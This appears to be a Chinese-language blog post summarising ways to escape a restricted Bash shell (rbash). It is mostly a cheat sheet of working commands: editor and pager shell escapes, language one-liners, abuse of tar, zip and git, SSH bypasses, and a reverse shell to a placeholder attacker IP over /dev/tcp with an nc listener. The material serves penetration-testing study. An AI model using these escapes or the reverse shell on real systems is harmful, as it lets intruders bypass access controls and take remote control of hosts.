rbash逃逸相关总结

RBASH 逃逸技术全解指南

1. 什么是 RBASH (Restricted Bash)

RBASH(Restricted Bash)即受限的 Bash Shell,是 Linux 系统中一种限制用户行为的安全机制。管理员通常会为了安全性,限制某些用户(如跳板机用户、FTP 用户)只能在特定目录下执行有限的命令。

常见的受限 Shell 包括 rbash, rksh, rsh 等。

2. RBASH 的限制环境

RBASH 通过限制特定操作来阻止用户访问整个文件系统。以下是常见的限制列表:

限制类型 详细描述 影响
目录切换 禁止使用 cd 命令 用户无法离开当前工作目录(通常是家目录)
环境变量 禁止设置或取消特定环境变量 无法修改 SHELL, PATH, ENV, BASH_ENV
命令执行 只能执行 PATH 中指定的命令 此时 PATH 通常只包含 ls, cat, echo 等极少数命令
路径限制 命令或参数中不能包含 / (斜杠) 无法直接调用绝对路径下的二进制文件(如 /bin/sh
重定向 禁止使用输出/输入重定向符号 禁用 >, `>
功能禁用 禁止使用 unset 命令 无法取消环境变量或 Shell 函数
导入限制 导入函数定义受限 无法通过导入恶意函数进行覆盖

3. RBASH 环境搭建(参考)

为了进行测试,可以通过以下命令快速搭建一个 RBASH 环境:

Bash

1
2
3
4
5
6
7
8
9
# 1. 创建用户
sudo adduser tw

# 2. 创建 rbash 软连接(如果系统没有)
cd /bin
ln -s bash rbash

# 3. 修改用户的 shell 为 rbash
sudo usermod -s /bin/rbash tw

4. RBASH 逃逸手法详解

逃逸的核心思想是:利用当前环境下允许使用的工具、语言或配置缺陷,启动一个新的、不受限的 Shell(如 /bin/bash/bin/sh)。

4.1 利用编辑器和分页器逃逸

许多系统默认安装的编辑器或分页器允许在内部执行 Shell 命令,这是最常见的逃逸途径。

工具名称 逃逸方法 / 命令 原理
vi / vim 打开后进入末行模式输入: :set shell=/bin/bash :shell 修改编辑器内部的 Shell 变量并启动
ed 输入: !/bin/bash ed 编辑器允许通过 ! 执行外部命令
more 在查看文件时输入: !'/bin/bash' 分页器允许通过 ! 执行命令
less 在查看文件时输入: !'/bin/bash' 同上
man 在查看帮助文档时输入: !'/bin/bash' man 本质上通常调用 lessmore

4.2 利用编程语言逃逸

如果系统安装了以下编程语言环境,且用户有执行权限,可以轻松调用系统命令生成新 Shell。

语言环境 逃逸 Payload (命令行执行)
Python python -c 'import pty; pty.spawn("/bin/bash");' python -c 'import os; os.system("/bin/bash");'
Perl perl -e 'exec "/bin/bash";'
Ruby ruby -e 'exec "/bin/bash"'
PHP php -r 'system("/bin/bash");'
Lua lua -e 'os.execute("/bin/bash")'
Tcl tclsh 进入交互模式后输入: exec /bin/bash
Node.js node -e 'require("child_process").spawn("/bin/bash", {stdio: "inherit"});'
AWK awk 'BEGIN {system("/bin/bash")}'
Java java -e 'Runtime.getRuntime().exec("/bin/bash");'
Expect expect -c 'spawn /bin/bash; interact'

4.3 利用系统工具/应用逃逸

某些系统工具具有执行子命令或自定义操作的功能,可被滥用。

zip

利用 zip 压缩时的 --unzip-command 选项执行 Shell。

1
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

tar

利用 checkpoint 功能在到达检查点时执行命令。

1
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

ftp

在 ftp 交互模式下使用感叹号执行命令。

1
ftp> !/bin/bash

git

利用 git help 调用分页器的特性。

1
2
3
git help status
# 进入帮助页面后(通常是 less),输入:
!/bin/bash

4.4 利用 SSH 逃逸 (重点)

利用 SSH 的特性,在连接时或通过本地 SSH 客户端强制分配终端或执行命令。

方法 1:利用 -t 参数强制执行 Shell

这是最基础的方法,尝试在连接后直接运行 bash。

1
2
ssh -t localhost /bin/bash
# 此时通常需要输入当前用户的密码

方法 2:强制分配伪终端并绕过配置文件

有些 RBASH 是通过用户的 .bash_profile 或 .bashrc 强制生效的,或者是 /etc/passwd 中指定的 Shell 实际上加载了限制性配置。使用 –noprofile 可以阻止 Bash 加载初始化文件,从而绕过某些基于配置文件的限制。

1
2
3
# -t: 强制分配伪终端 (Force pseudo-tty allocation)
# --noprofile: 启动 bash 时不读取 /etc/profile 或 ~/.bash_profile 等启动文件
ssh -t username@localhost "bash --noprofile"

注:此命令既可用于远程连接时的尝试,也可在拿到受限 Shell 后尝试 ssh 连接本机逃逸。

4.5 进阶 Shell 技巧

利用 BASH_CMDS (自定义 Shell)

Bash 维护一个内部哈希表 BASH_CMDS 用于存储命令路径。如果可以修改该数组,可以将任意字符映射到 /bin/bash

1
2
# 将命令 'a' 映射为 '/bin/bash',然后执行 'a'
BASH_CMDS[a]=/bin/bash;a

直接重新启动一个不加载任何配置文件的 bash

1
exec bash --noprofile --norc

利用反弹 Shell

如果当前环境仅限制了路径,但未禁用网络连接工具(如 nc, bash 的 TCP 连接)且未禁用重定向符号(如 >),可以直接反弹一个不受限的 Shell 到攻击机。

前提:重定向符号 < > 未被禁用。

1
2
3
4
5
# 攻击机监听
nc -lvnp 4444

# 靶机执行
bash -i >& /dev/tcp/攻击机IP/4444 0>&1

5. 逃逸后的环境修复

成功获取 /bin/bash/bin/sh 后,虽然拥有了新的 Shell,但环境变量(如 PATH)通常仍然是受限状态(例如只包含 ./home/user/bin)。为了正常使用系统命令(如 ls, whoami 等),必须重置环境变量。

步骤:

  1. 重置 PATH 变量(添加常用系统路径):

    Bash

    1
    export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
  2. 重置 SHELL 变量(可选):

    Bash

    1
    export SHELL=/bin/bash

完成这两步后,你将拥有一个功能完全正常的交互式 Shell。


rbash逃逸相关总结
http://example.com/2026/01/10/rbash逃逸相关总结/
Author
Skyarrow
Posted on
January 10, 2026
Licensed under